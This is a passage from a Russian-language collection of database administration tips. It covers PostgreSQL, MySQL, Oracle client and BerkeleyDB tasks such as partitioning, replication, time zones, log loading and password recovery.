    Не забываем положить tnsnames.ora в TNS_ADMIN, и можно запускать TOra.
    
     
    ----* Сравнение таблиц на удаленных серверах PostgreSQL   Автор: Тормал  [комментарии]
     
    Пришлось придумать как сравнить довольно таки объемные таблицы на предмет
    одинаковости данных в заданном поле.
    Сравнивать построчно слишком долго и накладно таскать эти объемы по сети. 
    Выход посчитать md5 сумму по колонке для всех значений.
    
    Для этого выбираем поле по которому будем сравнивать, поле должно быть независимым от серверов. 
    Делаем из него blob, и считаем md5.
    
    Пример: есть таблица A и поле B.
    
       select md5(array_send(array(select B from A order by 1))) as md5;
    
    после это сравнив md5 суммы с обоих серверов можно утверждать об одинаковости набора данных.
    
     
    ----* Изменение текущего часового пояса в MySQL, PostgreSQL и в скриптах   [комментарии]
     
    MySQL:
    
    Посмотреть список глобального и локального часового пояса:
       SHOW VARIABLES LIKE '%time_zone%';
    
    Конвертация в запросе времени из одной временной зоны в другую:
       SELECT CONVERT_TZ('2008-10-24 5:00:00','UTC','MSK');
    
    Изменить текущую зону для локального соединения:
       SET time_zone = 'MSK'
    или
       SET time_zone = '+03:00';
    
    Для всего MySQL сервера часовой пояс можно поменять установив в файле конфигурации:
       default-time-zone='MSK'
    
    или под привилегированным пользователем выполнить запрос:
       SET GLOBAL time_zone ='MSK'
    
    
    PostgreSQL:
    
    Для текущей сессии зона задается через:
       SET TIME ZONE 'MSK'
    или
       SET TIME ZONE '-3'
    
    Для клиентов использующих libpq часовой пояс может быть определен в переменной окружения PGTZ.
    
    Если часовой пояс для всей СУБД не определен (параметр timezone) в postgresql.conf, он берется из 
    стандартной переменной окружения TZ
    
    в shell:
       export TZ=GMT-3
    
    в perl:
       $ENV{"TZ"}="GMT-3";
       
    в PHP:
       putenv("TZ=GMT-3");
    
     
    ----* Установка клиента Oracle в Solaris без использования графического интерфейса (доп. ссылка 1)   Автор: Kovalchuk Egor  [обсудить]
     
    На официальном сайте Oracle присутствует небольшое руководство по установке в Solaris
    без использования графического интерфейса, при этом оно сводится к тому, 
    что нужно запустить скрипт под графическим интерфейсом с дополнительными параметрами.
    
       /directory_path/runInstaller -record -destinationFile response_filename
    
    В итоге получаем файл, который может быть использован при установке,
    но установка графического интерфейса была не приемлема, 
    поэтому пришлось разбираться самому с файлом ответов.
    
    Для установки нужно скачать клиента с оф. сайта Oracle.
    скачать можно по адресу:
     http://download-llnw.oracle.com/otn/solaris/oracle10g/10201/sol64/10gr2_client_sol.cpio.gz
    
    создайте пользователя и группу для клиента
    например:
    
       useradd oracle
       groupadd oracle
       usermod -g oracle oracle
       passwd oracle	
    
    Создайте папку распакуйте полученный архив в эту папку и дайте команду
    
       chown -R oracle:oracle /directory_path/	
    
    Теперь нужно править или создать свой фаил ответов
    
       версию можем не трогать
       RESPONSEFILE_VERSION=2.2.1.0.0
    
       имя группы которую создали для оракла
       UNIX_GROUP_NAME="oracle"
    
       если вы брали стандартый дистрибутив с сайта менять не надо
       FROM_LOCATION="../stage/products.xml"
    
       имя и путь к следующему фаилу ответов
       NEXT_SESSION_RESPONSE=""
    
       Куда устанавливаем
       ORACLE_HOME="/export/home/oracle/client"
       ORACLE_HOME_NAME="OraClient"
    
       эти значения нужно оставить по молчанию. Беруться из примеров файлов ответов в дистрибутиве
       TOPLEVEL_COMPONENT={"oracle.client","10.2.0.1.0"}
       DEINSTALL_LIST={"oracle.client","10.2.0.1.0"}
    
       т.к. у нас тихая инсталяция а эти параметры требуют графический интерфейс скидываем их все в false 
       SHOW_SPLASH_SCREEN=false
       SHOW_WELCOME_PAGE=false
       SHOW_CUSTOM_TREE_PAGE=false
       SHOW_SUMMARY_PAGE=false
       SHOW_INSTALL_PROGRESS_PAGE=false
       SHOW_CONFIG_TOOL_PAGE=false
       SHOW_XML_PREREQ_PAGE=false
       SHOW_ROOTSH_CONFIRMATION=true
       SHOW_END_SESSION_PAGE=false
       SHOW_EXIT_CONFIRMATION=false
       SHOW_DEINSTALL_CONFIRMATION=false
       SHOW_DEINSTALL_PROGRESS=false
    
       следующая сессия нам не нужна поэтому скидываем параметры в false
       NEXT_SESSION=false
       NEXT_SESSION_ON_FAIL=false
    
       CLUSTER_NODES={}
    
       какую папку удалить после установки
       REMOVE_HOMES=""
    
       выбор поддержки языка
       COMPONENT_LANGUAGES={"en"}
    
       тип исталяции 
       INSTALL_TYPE="Administrator"
    
       если используется тип инсталяции Custom нужно добавить еще один параметр, 
       где перечисляются нужные компоненты
       DEPENDENCY_LIST={"oracle.sqlj:10.2.0.1.0","oracle.rdbms.util:10.2.0.1.0",
          "oracle.javavm.client:10.2.0.1.0","oracle.sqlplus:10.2.0.1.0",
          "oracle.dbjava.jdbc:10.2.0.1.0","oracle.ldap.client:10.2.0.1.0",
           "oracle.rdbms.oci:10.2.0.1.0","oracle.precomp:10.2.0.1.0","oracle.xdk:10.2.0.1.0",
           "oracle.swd.opatch:10.2.0.1.0","oracle.network.aso:10.2.0.1.0","oracle.oem.client:10.2.0.1.0",
           "oracle.oraolap.mgmt:10.2.0.1.0","oracle.network.client:10.2.0.1.0","oracle.ordim.client:10.2.0.1.0",
           "oracle.ons:10.1.0.3.0","oracle.has.client:10.2.0.1.0"}
    
    
    после того как готов файл, залогиниваемся под пользователем клиента и запускаем команду
    
       /directory_path/runInstaller -silent -responseFile responsefilename
    
    снова перелогиниваемся под рутом и запускаем скрипт root.sh, который лежит в
    папке с установленным клиентом
    
    Установка прошла успешно
    А дальше пользуемся готовыми статьями по настройке подключений.
    
    
    P.S. возможны проблемы, когда некоторые фалы копируются битыми, просто
    перезапустите скрипт утановки.
     
    
     
    ----* Как организовать выборку ключа по условию больше или равно в BerkeleyDB   [обсудить]
     
    Задача: выбрать запись с ключем большим или равным искомому, т.е. организовать
    выборку по промежутку значений:
    
    #!/usr/bin/perl
    use strict;
    use BerkeleyDB;
    use constant DB_DEF_CACHE_SIZE => 5000000;
    my %hash;
    
    my $dbobj = tie(%hash, 'BerkeleyDB::Btree',
            -Filename    => "test.db",
            -Cachesize   => DB_DEF_CACHE_SIZE,
            -Flags       => DB_CREATE,
            -Compare     => sub { $_[0] <=> $_[1] }
            ) or die "Can't create or open DB File!\n";
    
    # Тестовые значения
    $hash{5}="0-5";
    $hash{8}="6-8";
    $hash{20}="9-20";
    $hash{80}="21-80";
    
    my ($key, $val);
    my $cursor = $dbobj->db_cursor();
    
    # Выборка.
    $key=3;
    $cursor->c_get($key, $val, DB_SET_RANGE);
    print "3=$val\n";
    
    $key=25;
    $cursor->c_get($key, $val, DB_SET_RANGE);
    print "25=$val\n";
    
    $key=80;
    $cursor->c_get($key, $val, DB_SET_RANGE);
    print "80=$val\n";
    
    untie %hash;
    
     
    ----* Как сохранить данные в базе данных в сжатом виде. (доп. ссылка 1)   [комментарии]
     
    Для MySQL есть утилита myisampack или самое простое, своими силами данные, 
    перед помещением в базу, сжимать и разжимать (функции COMPRESS() и UNCOMPRESS()).
    
    В PostgreSQL для хранения текстовой информации в сжатом виде предусмотрен тип данных "lztext".
    
    Можно сжатие данных возложить на плечи файловой системы, для linux и freebsd 
    есть возможности для прозрачного сжатия.
    
     
    ----* Типы хранилищ и возможности Berkeley DB   [комментарии]
     
    Berkeley DB позволяет эффективно организовать хранилище пар вида ключ/значение. 
    Типы хранилища:
      Hash - хэш, выборка по точному значению
      Btree - сбалансированное дерево, выборка по точному значению или >=.
      Recno - для хранения индексированных массивов.
      Queue - оптимизировано для очередей, где чаще всего запрашивают элементы верхушки или низа.
    
    В версиях от 2 и выше, поддерживаются средства одновременного апдейта базы, локов, 
    транзакций, "курсоров", восстановления поврежденного хранилища.
    
     
    ----* Как в SQL запросе осуществить преобразование время минус число.   [обсудить]
     
    mytime - timestamp поле
    myint - integer поле
    SELECT mytime - interval (myint) FROM sometable;
    
     
    ----* маленькая заметка к возрастающим ключам   Автор: Yuri A. Kabaenkov  [обсудить]
     
    в последних версиях pgsql существует тип данных serial
    которой автоматически создает последовательность.
    тоесть CREATE TABLE test (
         a serial
    );
    
     

       MySQL специфика
    Оптимизация и администрирование MySQL

    ----* Использование разделов MySQL для разбиения таблицы по дням месяцам и годам   Автор: gara  [комментарии]
     
    Приходится иметь дело с таблицами, которые содержат редко (или никогда)
    обновляемые данные, такие как логи. Некоторые таблицы чистятся, некоторые
    хранят записи "вечно". Чтобы уменьшить нагрузку на диск и ФС, придумали такую
    вещь как partitioning  (Cекционирование).
    
    Часто необходимо резать таблицу на partition по году по месяцу или по дням
    месяца/недели. Что-то подсказывает что резать придется по полю типа timestamp.
    
    
    Сделаем табличку
    
       CREATE TABLE `foo` (
         `id` int(11) NOT NULL AUTO_INCREMENT,
         `date_added` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
         `name` varchar(30) DEFAULT NULL,
         `email` varchar(30) DEFAULT NULL,
         PRIMARY KEY (`id`)
       );
    
    и попробуем порезать ее по годам
    
       ALTER TABLE foo PARTITION BY RANGE (YEAR(date_added))
       (
        PARTITION p2011 VALUES LESS THAN (2012) ,
        PARTITION p2012 VALUES LESS THAN (2013) ,
        PARTITION p2013 VALUES LESS THAN (2014)
       );
    
    получаем:
    
        ERROR 1486 (HY000): Constant, random or timezone-dependent   expressions in (sub)partitioning function are not allowed
    
    объяснения этому вот какое: "TIMESTAMP is internally converted to the local sessions timezone."
    
    ладно:
    
       SELECT UNIX_TIMESTAMP('2012-01-01 00:00:00');
       +---------------------------------------+
       | UNIX_TIMESTAMP('2012-01-01 00:00:00') |
       +---------------------------------------+
       |                            1325361600 |
       +---------------------------------------+
    
       SELECT UNIX_TIMESTAMP('2013-01-01 00:00:00'); = 1356984000
       SELECT UNIX_TIMESTAMP('2014-01-01 00:00:00'); = 1388520000
    
    теперь:
    
        ALTER TABLE foo PARTITION BY RANGE (UNIX_TIMESTAMP(date_added))
       (
        PARTITION p2011 VALUES LESS THAN (1325361600) ,
        PARTITION p2012 VALUES LESS THAN (1356984000) ,
        PARTITION p2013 VALUES LESS THAN (1388520000) ,
        PARTITION pMAXVALUE VALUES LESS THAN (MAXVALUE)
       );
       
    вот, теперь получаем:
    
       ERROR 1503 (HY000): A PRIMARY KEY must include all columns in the table's partitioning function
    
    это лечится:
    
       ALTER table foo DROP PRIMARY KEY, add PRIMARY KEY (`id`,`date_added`);
    
    и еще раз:
    
       ALTER TABLE foo PARTITION BY RANGE (UNIX_TIMESTAMP(date_added))
       (
        PARTITION p2011 VALUES LESS THAN (1325361600) ,
        PARTITION p2012 VALUES LESS THAN (1356984000) ,
        PARTITION p2013 VALUES LESS THAN (1388520000) ,
        PARTITION pMAXVALUE VALUES LESS THAN (MAXVALUE)
       );
    
    все ок.
    
    получаем:
    
       CREATE TABLE `foo` (
         `id` int(11) NOT NULL AUTO_INCREMENT,
         `date_added` timestamp NOT NULL DEFAULT CURRENT_TIMESTAMP,
         `name` varchar(30) DEFAULT NULL,
         `email` varchar(30) DEFAULT NULL,
         PRIMARY KEY (`id`,`date_added`)
       ) ENGINE=InnoDB
       
       PARTITION BY RANGE (UNIX_TIMESTAMP(date_added))
       (PARTITION p2011 VALUES LESS THAN (1325361600) ENGINE = InnoDB,
        PARTITION p2012 VALUES LESS THAN (1356984000) ENGINE = InnoDB,
        PARTITION p2013 VALUES LESS THAN (1388520000) ENGINE = InnoDB,
        PARTITION pMAXVALUE VALUES LESS THAN MAXVALUE ENGINE = InnoDB);
    
    
    Отлично!
    
    Такой тип "нарезки" подходит если надо архивные данные разложить по файлам "за год" или по месяцам.
    
    Но как быть если надо, например, таблицу с логами разложить по дням месяца, то
    есть в таблицу что-то пишется что хранится месяц или два потом трется.
    То есть как быть если мы хотим порезать так
    
        PARTITION BY RANGE (MONTH(date))
    
    или так
    
        PARTITION BY RANGE (DAY(date_add))
    
    поле типа timestamp не подходит.
    
    Гугление говорит что надо использовать datetime.
    
    ок, создадим таблицу
    
       CREATE TABLE `foo` (
         `id` int(11) NOT NULL AUTO_INCREMENT,
         `date_added` datetime  DEFAULT NULL,
         `name` varchar(30) DEFAULT NULL,
         `email` varchar(30) DEFAULT NULL,
         PRIMARY KEY (`id`,`date_added`)
       ) ENGINE=InnoDB;
    
    Обратите внимание:
    
       `date_added` datetime  DEFAULT NULL,
    
    дело в том что, CURRENT_TIMESTAMP в качестве значения по умолчанию для поля
    типа datetime не катит, NOW() как значение по умолчанию указывать нельзя т.к.  функция.
    
    А  надо чтоб date_added выставлялось автоматом.
    
    выхода 2
    
    1. либо во всех запросах в INSERT добавлять NOW().
    2. если первое невозможно, то вешать триггер который при каждом добавлении будет date_added=NOW();
    
    что-то вроде
    
       DELIMITER $$
    
       USE `test_db`$$
    
       CREATE
           /*!50017 DEFINER = 'trigger'@'%' */
           TRIGGER `foo_add` BEFORE INSERT ON `foo`
           FOR EACH ROW BEGIN
    
             SET NEW.date_added = IFNULL(NEW.date_added, NOW());
    
           END;
       $$
    
    Теперь у нас таблица с нужными типами, ключами и триггером.
    
    и мы с легкостью можем разрезать таблицу по месяцам:
    
        ALTER TABLE foo PARTITION BY RANGE (MONTH(date_added))
       (
       PARTITION p01 VALUES LESS THAN (02) ,
       PARTITION p02 VALUES LESS THAN (03) ,
       PARTITION p03 VALUES LESS THAN (04) ,
       PARTITION p04 VALUES LESS THAN (05) ,
       PARTITION p05 VALUES LESS THAN (06) ,
       PARTITION p06 VALUES LESS THAN (07) ,
       PARTITION p07 VALUES LESS THAN (08) ,
       PARTITION p08 VALUES LESS THAN (09) ,
       PARTITION p09 VALUES LESS THAN (10) ,
       PARTITION p10 VALUES LESS THAN (11) ,
       PARTITION p11 VALUES LESS THAN (12) ,
       PARTITION p12 VALUES LESS THAN (13) ,
       PARTITION pmaxval VALUES LESS THAN MAXVALUE );
    
    или даже по дням недели:
    
        ALTER TABLE foo PARTITION BY RANGE (DAYOFWEEK(date_added))
       (
       PARTITION p01 VALUES LESS THAN (2) ,
       PARTITION p02 VALUES LESS THAN (3) ,
       PARTITION p03 VALUES LESS THAN (4) ,
       PARTITION p04 VALUES LESS THAN (5) ,
       PARTITION p05 VALUES LESS THAN (6) ,
       PARTITION p06 VALUES LESS THAN (7) ,
       PARTITION p07 VALUES LESS THAN (8) ,
       PARTITION pmaxval VALUES LESS THAN MAXVALUE );
    
    или даже 2 дня на partition:
    
       ALTER TABLE foo PARTITION BY LIST (DAY(date_added))
       (
       PARTITION p00 VALUES IN  (0,1) ,
       PARTITION p02 VALUES IN  (2,3) ,
       PARTITION p04 VALUES IN  (4,5) ,
       PARTITION p06 VALUES IN  (6,7) ,
       PARTITION p08 VALUES IN  (8,9) ,
       PARTITION p10 VALUES IN  (10,11),
       PARTITION p12 VALUES IN  (12,13),
       PARTITION p14 VALUES IN  (14,15),
       PARTITION p16 VALUES IN  (16,17),
       PARTITION p18 VALUES IN  (18,19),
       PARTITION p20 VALUES IN  (20,21),
       PARTITION p22 VALUES IN  (22,23),
       PARTITION p24 VALUES IN  (24,25),
       PARTITION p26 VALUES IN  (26,27),
       PARTITION p28 VALUES IN  (28,29),
       PARTITION p30 VALUES IN  (30,31)
       );
    
    В общем теперь все в ваших руках.
    
    
    P.S. Подразумевается что выставлена опция innodb_file_per_table
    
     
    ----* Автозаполнение столбцов для автоинкремента в MySQL   Автор: Lennotoecom  [комментарии]
     
    Задача:
    В существующую таблицу добавить столбец, автоматически заполнить его от 1 до
    количества строк в таблице, сделать его ключевым с автоинкрементом.
    
    Решение:
    
    Исходная таблица
    
       mysql> select * from tTable;
       +------+
       | b    |
       +------+
       | aa   |
       | ab   |
       | ac   |
       | ad   |
       | ae   |
       | af   |
       | ag   |
       | ah   |
       +------+
       8 rows in set (0.00 sec)
    
    Добавляем столбец командой: 
    
       mysql> alter table tTable add a int;
    
    теперь таблица имеет вид
    
       mysql> select * from tTable;
       +------+------+
       | b    | a    |
       +------+------+
       | aa   | NULL |
       | ab   | NULL |
       | ac   | NULL |
       | ad   | NULL |
       | ae   | NULL |
       | af   | NULL |
       | ag   | NULL |
       | ah   | NULL |
       +------+------+
       8 rows in set (0.00 sec)
    
    Собственно само автозаполнение: 
    
       mysql> set @x:=0; update tTable set a=(@x:=@x+1);
    
    После чего таблица будет иметь вид
    
       mysql> select * from tTable;
       +------+------+
       | b    | a    |
       +------+------+
       | aa   |    1 |
       | ab   |    2 |
       | ac   |    3 |
       | ad   |    4 |
       | ae   |    5 |
       | af   |    6 |
       | ag   |    7 |
       | ah   |    8 |
       +------+------+
    
    Делаем столбец ключом и автоинкрементом:
    
       mysql> alter table tTable change a a int key auto_increment;
    
    вид таблицы после изменения
    
       mysql> show columns from tTable;
       +-------+---------+------+-----+---------+----------------+
       | Field | Type    | Null | Key | Default | Extra          |
       +-------+---------+------+-----+---------+----------------+
       | b     | char(2) | YES  |     | NULL    |                |
       | a     | int(11) |      | PRI | NULL    | auto_increment |
       +-------+---------+------+-----+---------+----------------+
       2 rows in set (0.00 sec)
    
     
    ----* Как обновить MySQL 5.0 до MySQL 5.1 в Gentoo Linux (доп. ссылка 1)   Автор: Dennis Yusupoff  [комментарии]
     
    Возникла необходимость обновить MySQL 5.0 до MySQL 5.1 в Gentoo с минимальным перерывом в работе, 
    описываю свой опыт. Вполне допускаю, что будет для гуру банальностью, тем не
    менее, как "напоминалка"
    будет полезна. Хотя бы мне самому :)
    Основой послужили  статья Peter Davies'a и руководство MySQL Upgrading MySQL.
    
    1. Работа с пакетами
    
    Поскольку Gentoo считает, что версии 5.1 недостойны называться стабильными (хотя она уже довольно 
    давно является "релизной", в отличии от 5.4. см. планы развития веток MySQL),
    то они занесены в список исключений, т.н. "masked", так что при попытке
    установить их без вынесения
    из этого списка приведут к ошибке.
    
    Чтобы обойти это, нужно зарегистрировать эту версию MySQL в "список исключений
    из списка исключений" :)
    
       echo "=dev-db/mysql-community-5.1.21_beta" >> /etc/portage/package.unmask
    
    Если просто комментировать соответствующие строки в файле
    /usr/portage/profiles/package.mask, как это
    предлагает Питер, то при каждом обновлении пакета этот файл будет обновляться, с соответственным 
    удалением комментариев. Не совершайте такой ошибки, какую сделал я :)
    
    Gentoo у меня собран 64-битной версией, поэтому не обойтись без явного задания
    разрешения сборки MySQL
    под amd64. Для этого вносим соответствующую запись в очередной файл исключений:
    
       echo "dev-db/mysql-community ~amd64" >> /etc/portage/package.keywords
    
    и на всякий случай:
    
       echo "virtual/mysql ~amd64" >> /etc/portage/package.keywords
    
    Если просто выставить в командной строке ACCEPT_KEYWORDS="~amd64", то Gentoo не поймет, что такое 
    ключевое слово было выставлено при установке, и как итог, любое (авто-)обновление пакета 
    остановится с ошибкой "masked by: ~amd64".
    
    Думаете, что этого уже достаточно для установки? Ошибаетесь :) 
    Помните, что у нас ещё стоит версия 5.0? Так вот чтобы установить 5.1, нам надо
    сначала удалить 5.0.
    Явно не быстрое дело, а время простоя, напомню, критично. Поэтому вместо
    остановки работающего 5.0,
    его удаления и компиляции 5.1, лучше сделать хитрее и воспользоваться
    возможностью создания бинарных пакетов.
    Создам сначала бинарный пакет установленного mysql-5.0, чтобы в случае неудачи с 5.1 можно было 
    быстро откатится на предыдущую версию:
    
       quickpkg dev-db/mysql или emerge --verbose --buildpkg dev-db/mysql
    
    Затем подготовим нашу новую версию, создав бинарный пакет для последующей установки:
    
       emerge --verbose --ask --buildpkgonly =dev-db/mysql-community-5.1.21_beta
    
    Использование distcc и ccache обычно позволяет существенно уменьшить время компиляции. У меня при 
    использовании ccache и distcc на два сервера время сборки пакета mysql-5.0 уменьшилось на 35%.
    
    
    2. Создание архивной копии
    
    Почему идёт вторым шагом? Потому что операции, приведённые выше, по идее не
    должны вызывать никаких
    изменений в работающем MySQL, но занимают определённое количество времени, а терять изменения, 
    внесённые в БД за это время, не хочется.
    
    Делаете любым удобным для себя способом, хотя бы как это описывает Питер, через mysqldump, 
    архивирование директории с БД после её остановки или репликацию на другой сервер. 
    
    Поскольку для меня было важным минимальный перерыв, а настраивать репликацию я не хотел, 
    я воспользовался первым способом:
    
       mysqldump -A --opt --allow-keywords --flush-logs --hex-blob --master-data --max_allowed_packet=16M \
          --quote-names --default-character-set=CP1251 --single-transaction --result-file=BACKUP_MYSQL_5.0.SQL
    
    Единственное, что я хотел бы порекомендовать, это использовать помимо указанных Питером ключей, 
    ключ --single-transaction, который существенно ускоряет восстановление из бэкапа, 
    и ключ --default-character-set со значением "cp1251" для тех, у кого таблицы в
    cp1251, а не в UTF8,
    который выставляется при дампах по умолчанию. У меня бекап, созданный без этих
    ключей весил 4.6 Гб, с ключами - 4.1 Гб
    
    3. Обновление MySQL и таблиц
    
    Итак, пакеты и архивные копии готовы, предупреждаем тех.поддержку о возможных
    перебоях и приступаем:
    
    Останавливаем работающий MySQL:
    
       /etc/init.d/mysql stop 
    
    Удаляем MySQL 5.0:
    
       emerge --unmerge --verbose dev-db/mysql
    
    Устанавливаем бинарный пакет MySQL 5.1:
    
       emerge --usepkgonly --verbose =dev-db/mysql-community-
    5.1.21_beta.tbz2 
    
    Запускаем установленный MySQL 5.1:
       /etc/init.d/mysql start 
    
    Обновляем таблицы:
    
       mysql_upgrade --user=root --password=PASSWORD --default-character-set=cp1251 --verbose
    
    При удачном раскладе (объединяйте команды в конвейер с помощью "&&"!) это займёт меньше минуты. 
    Учтите, что опции сервера, указанные в  /etc/mysql/my.cnf, для 5.1 могут отличатся от 5.0! 
    Поэтому если сервер не стартует, смотрите tail /var/log/mysql/mysqld.err и исправляйте переменные. 
    Мне, скажем, пришлось терять время, пока я убирал "skip-bdb" и "skip-federated". К сожалению, я не 
    знаю другого способа проверить на совместимость файлы от 5.0 и 5.1, кроме как
    скурпулезного сравнения документации.
    
     
    ----* Синхронизация файлов и содержимого БД MySQL на резервный сервер (доп. ссылка 1)   Автор: neiro  [комментарии]
     
    Есть два сервера под Linux/FreeBSD: СУБД MySQL + некое приложение,
    задача - синхронизировать БД и данные.
    
    За синхронизацию данных MySQL отвечает mysql replication, данные
    синхронизируются с мастера на слейв.
    
    Делаем на мастере:
    
    в my.cnf добавляем строки
    
       log-bin = /var/log/mysql/mysql-bin.log
       binlog-do-db=databasename
       server-id=1
    
    перезагружаем MySQL, добавляем пользователя для репликации:
    
       GRANT ALL PRIVILEGES ON databasename.* TO 'slave_user'@'%' IDENTIFIED BY 'slave_password';
       FLUSH PRIVILEGES;
    
    далее выполняем команду:
    
       USE databasename;
       FLUSH TABLES WITH READ LOCK;
       SHOW MASTER STATUS;
    
    и вывод этой команды для нас важен, надо его куда-нибудь записать:
    
       | File | Position | Binlog_do_db | Binlog_ignore_db |
       | mysql-bin.001 | 10 | databasename | |
    
    теперь делаем дамп базы:
    
       mysqldump -u slave_user -pslave_password --opt databasename > databasename.dump
    
    и наконец убираем лок с базы в MySQL:
    
       UNLOCK TABLES;
    
    
    Теперь на слейве:
    
    Создаём базу:
    
       mysqladmin create databasename -p
    
    Востанавливаем базу из дампа:
    
       mysql -u slave_user -pslave_password databasename < databasename.dump
    
    в my.cnf добавляем строки:
    
       server-id=2
       master-host=XX.XX.XX.XX # IP адрес мастер-сервера
       master-user=slave_user
       master-password=slave_password
       master-connect-retry=60
       replicate-do-db=databasename
    
    перегружаем MySQL и добавляем чудесные данные из волшебной комманды:
    
       SLAVE STOP;
       CHANGE MASTER TO MASTER_HOST='XX.XX.XX.XX',
         MASTER_USER='slave_user', MASTER_PASSWORD='slave_password',
         MASTER_LOG_FILE='mysql-bin.001', MASTER_LOG_POS=10;
       START SLAVE;
    
    готово, теперь проверяем, добавляем запись в мастер, на слейве она должны отреплицироваться.
    
    Понятно, что изменять данные можно только на мастере, слейв работает только на чтение.
    
    
    Для синхронизации данных имеет смысл использовать rsync, очень интересный протокол/приложение. 
    Может синхронизировать инкрементально и с сжатием.
    На мастер сервере в rsyncd.conf добавляем:
    
       read only = yes # во избежание ;-)
       hosts allow = YY.YY.YY.YY # IP адрес слэйв-сервера
       [somelabel]
       path = /path/to/apllication/folder # где лежит приложение
       auth users = replica_user # юзер только для репликации в rsync, не системный пользователь
       secrets file = /path/to/rsync/rsync.secret # где лежит файл с паролем для replica_user, 
                                                  # только пароль и ничего больше
    
    на слейве - команда для синхронизации, можно добавить в cron с нужной периодичностью:
    
       /path/to/rsync -avz --exclude-from=/path/to/rsync.exclude \
         --password-file /path/to/rsync.secret \
         rsync://replica_user@XX.XX.XX.XX:873/somelabel /path/to/application
    
    где:
    rsync.exclude - файл в котором перечислены, какие файлы (конкретно или по
    маске) не синхронизировать
    rsync.secret - файл с секретным паролем для replica_user
    ХХ.ХХ.ХХ.ХХ - IP мастер-сервера, 873 - дефолтный порт для демона
    somelabel - метка из rsyncd.conf с мастера
    /path/to/application - путь куда класть данные.
    
     
    ----* Быстрй перенос лог-файлов в MySQL   Автор: Alexey Lazarev  [комментарии]
     
    Наверняка, каждый сталкивался с задачей переноса лог-файлов из текстовых файлов в различные БД. 
    И, наверняка, каждый столкнувшийся начинал писать собственные скрипты под это дело. 
    Причем большинство виденных мной скриптов основывались на построчном чтении/переносе данных. 
    Данный способ, конечно, хорош и имеет право на существование, но, к сожалению не очень быстр.
     Но в MySQL существует способ перенести данные из обычных текстовых файлов в БД 
    очень и очень быстро при помощи директивы LOAD DATA INFILE
    
    Пример такого скрипта:
    
    #!/bin/bash
    nld='/var/log/squid3'    # Путь к лог-файлам
    nbd='/opt/backup/squid3' # Путь к папке резервного хранения лог-файлов
    nrc=`squid3 -k rotate`   # Команда ротации лог-файлов для данного сервиса
    nlf='/var/log/logs2mysql/squid.log' # На всякий случай пишем что и когда делали
    
    mh='localhost' # Mysql host
    mu='root'      # Пользователь mysql
    mp='secret'    # Его пароль
    mb='logs'      # База данных
    mt='squid'     # Таблица
    
    echo `date +"%F %T"` "Начало выгрузки" >> $nlf && \
    
    $nrc && \
    for i in `ls $nld | grep access.log.`;
    do
        year=`date +"%Y"`
        month=`date +"%m"`
        day=`date +"%d"`
        prefix=`date +"%F-%H"`
        test -d $nbd/$year/$month/$day || mkdir -p $nbd/$year/$month/$day && \
        cat $nld/$i | sed -e 's/\"/\\\"/g' | sed -e "s/\'/\\\'/g" | \
          awk ' {print strftime("%F",$1),strftime("%T",$1),$1,$2,$3,$4,$5,$6,$7,$8,$9,$10,$11,$1 $2 $3 $4 $5 $6 $7 $8 $9 $10 $11} ' | \
          sed -e "s/ /\t/g" > $nld/prepare.log && \
        chmod 0777 $nld/prepare.log && \
        mysql -h $mh -u $mu -p$mp -e "LOAD DATA INFILE \"$nld/prepare.log\" REPLACE INTO TABLE $mb.$mt;" && \
        cat $nld/$i >> $nbd/$year/$month/$day/$prefix.log && rm $nld/$i && rm $nld/prepare.log 
    done
    echo `date +"%F %T"` "Конец выгрузки" >> $nlf
    
    Поля для таблицы ('Поле'-тип)
    
    'date'-date
    'time'-time
    'timestamp'-varchar(16)(разные сервисы пишут по разному.Кто-то с милисекундами, кто-то без)
    'elapsed'-int(20)
    'ip'-varchar(15)
    'code'-varchar(20)
    'size'-int(20)
    'method'-varchar(10)
    'url'-varchar(255)
    'user'-varchar(255)
    'direct'-varchar(25)
    'mime'-varchar(25)
    'hash'-varchar(255)unique
    
    C небольшими изменениями данный скрипт можно приспособить для обработки
    лог-файлов не только squid, но и других сервисов. Необходимое условие: 
    четкое разграничение полей (можно, поиграться с указанием разграничителей полей 
    в директиве LOAD DATA INFILE).
    К преимуществам данного скрипта можно отнести огромное быстродействие
    (п4-3,2 1024Мб ОЗУ 4млн. строк за 10-12 сек.).Также по последнему полю "hash" мы можем уникальным 
    образом идентифицировать строку (при анализе логов за год по squid и net-acct я не обнаружил 
    одинаковых строк).А также гарантированное попадание всех строк в БД
     (т.к. данные не удаляются при сбое mysql). 
    
     
    ----* Смена mysql пароля для пользователя debian-sys-maint. (доп. ссылка 1)   Автор: Heckfy  [комментарии]
     
    Столкнулся с тем, что система отказалась проапгрейдиться посредством apt, 
    так как не удается завершить демон mysql.
    Оказалось, что запуск и остановку демона делает пользователь базы данных debian-sys-maint.
    
    Пароль у него был заменен на что-то уже неизвестное, поэтому неоходимо было найти debian-way.
    
    В файле /etc/mysql/debian.cnf находится какой-то страшный набор символов. 
    Корректируем его, если есть желание, далее меняем пароль в базе. 
    Например, так:
    
       # killall mysqld
       # mysqld_safe --skip-grant-table
       ^Z
       # bg
       # mysql -u root
       > UPDATE mysql.user SET Password = PASSWORD( 'новый пароль' )
       WHERE user.Host = 'localhost' 
       AND user.User = 'debian-sys-maint';
       > exit
       # fg
       ^C
       # /etc/init.d/mysql start
    
    Теперь демон легко стартует, завершается, перезапускается.
    Автоматическое обновление системы снова может беречь мой сон.
    
     
    ----* Дамп больших InnoDB таблиц в MySQL (доп. ссылка 1)   Автор: ducea.com  [комментарии]
     
    При дампе больших (10 Gb) InnoDB таблиц в MySQL через mysqldump 
    на время операции таблица оказывается заблокированной.
    Для того чтобы избежать блокировки и нарушения целостности нужно использовать
    ключ  --single-transaction:
    
       mysqldump --single-transaction --quick very_large_db > bakup_of_db.sql
    
     
    ----* Пример работы с MySQL в bash скриптах   Автор: Luc!f3r  [комментарии]
     
    Пример1:
    
       password='Your_MySQL_Password'
    
       MYSQL_RESULT=`mysql -e "SELECT tables_col FROM table_name" -- 
       password="$password" database_name|grep -v tables_col|xargs|sed "s/ /\n/g"`
    
       for i in $MYSQL_RESULT; do
          echo $i
       done;
    
    Пример2:
    
       mysql -sse "SELECT col FROM table" -p"$password" database | while read i
       do
          echo $i
       done
    
    Комментарий 1: Пароль лучше передавать через переменную окружения MYSQL_PWD,
    чтобы он не светился в выводе ps.
    
    Комментарий 2 (от myhand):
    Другой вариант передача пароля через локальный файл конфигурации .my.cnf,
    размещенный в корне домашней директории пользователя:
    
    Пример .my.cnf:
    
    [client]
    user = имя_пользователя
    password = пароль
    host = хост_БД
    [mysql]
    database = имя_бд
    
